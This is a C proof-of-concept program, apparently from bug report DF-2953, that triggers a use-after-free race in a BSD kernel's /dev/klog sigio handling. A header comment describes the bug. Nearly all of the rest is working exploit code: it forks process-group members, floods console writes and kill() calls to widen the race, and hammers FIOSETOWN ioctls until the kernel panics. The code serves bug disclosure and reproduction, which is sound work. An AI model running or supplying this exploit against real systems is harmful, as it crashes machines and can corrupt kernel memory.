DF-2953 / klog_sigio_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | /* * DF-2953 PoC -- /dev/klog logtimeout() sigio use-after-free read race. * * BUG (sys/kern/subr_log.c:247-248): * logtimeout() [softclock thread] does: * if ((logsoftc.sc_state & LOG_ASYNC) && logsoftc.sc_sigio != NULL) * pgsigio(logsoftc.sc_sigio, SIGIO, 0); * The `struct sigio *' is loaded WITHOUT sigio_token and without taking a * reference. Concurrently, FIOSETOWN / TIOCSPGRP on the klog fd * (sys/kern/subr_log.c:292-301) -> fsetown() (sys/kern/kern_descrip.c:1296) * frees the old sigio under sigio_token (funsetown(): sio_pgrp=NULL, * sio_ucred=NULL, kfree(M_SIGIO)). * * pgsigio() (sys/kern/kern_sig.c:2639) then dereferences the freed chunk: * - sio_pgid < 0 path: pg = sigio->sio_pgrp == NULL -> pgref(NULL) * - CANSIGIO (kern_sig.c:99): (sigio->sio_ucred)->cr_uid on NULL ucred * ==> page-fault panic in the softclock thread (DoS), or garbage derefs * if the chunk is recycled (info corruption / worse). * * All other accessors of sc_sigio (fsetown/funsetown/fgetown) hold * sigio_token; logtimeout is the only unlocked reader. (FreeBSD fixed this * class by passing `struct sigio **' to pgsigio and locking inside.) * * REQUIREMENTS: root (open /dev/klog, mode 0600); syslogd must not hold the * device (run.sh stops it); kern.log_wakeups_per_second > 0. * * EXPECTED RESULT: kernel panic (Fatal trap 12: page fault, NULL/small * address) from softclock within seconds-to-minutes of hammering. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/filio.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #define NMEMBERS 16 /* widen pgsigio()'s member loop */ #define NHAMMER 3 /* ioctl hammer processes (CPU spread) */ static int fd; static int neg; static int zero = 0; static int one = 1; static void hammer(void) { for (;;) { /* * Install pgrp-owned sigio (long pgsigio path), then free it * (fsetown(0) -> funsetown -> kfree). */ ioctl(fd, FIOSETOWN, &neg); ioctl(fd, FIOSETOWN, &zero); } /* NOTREACHED */ } int main(void) { pid_t pg; int i; signal(SIGIO, SIG_IGN); fd = open("/dev/klog", O_RDWR); if (fd < 0) { perror("open /dev/klog (stop syslogd first)"); exit(1); } if (ioctl(fd, FIOASYNC, &one) < 0) { perror("FIOASYNC"); exit(1); } /* Own process group; members widen pgsigio()'s loop window. */ setpgid(0, 0); pg = getpgrp(); neg = -(int)pg; for (i = 0; i < NMEMBERS; i++) { if (fork() == 0) { signal(SIGIO, SIG_IGN); for (;;) pause(); _exit(0); } } /* Noise: console writes set msgbuftrigger=1 (subr_prf log_console). */ if (fork() == 0) { int cfd; signal(SIGIO, SIG_IGN); cfd = open("/dev/console", O_WRONLY); if (cfd < 0) cfd = open("/dev/null", O_WRONLY); for (;;) write(cfd, "DF2953\n", 7); _exit(0); } /* pg_lock contention: stretches pgsigio()'s lockmgr window. */ if (fork() == 0) { signal(SIGIO, SIG_IGN); for (;;) kill(-pg, 0); _exit(0); } fprintf(stderr, "klog_sigio_race: pid %ld pgrp %d, hammering FIOSETOWN\n", (long)getpid(), pg); fflush(stderr); for (i = 0; i < NHAMMER; i++) { if (fork() == 0) { signal(SIGIO, SIG_IGN); hammer(); } } hammer(); /* NOTREACHED */ } |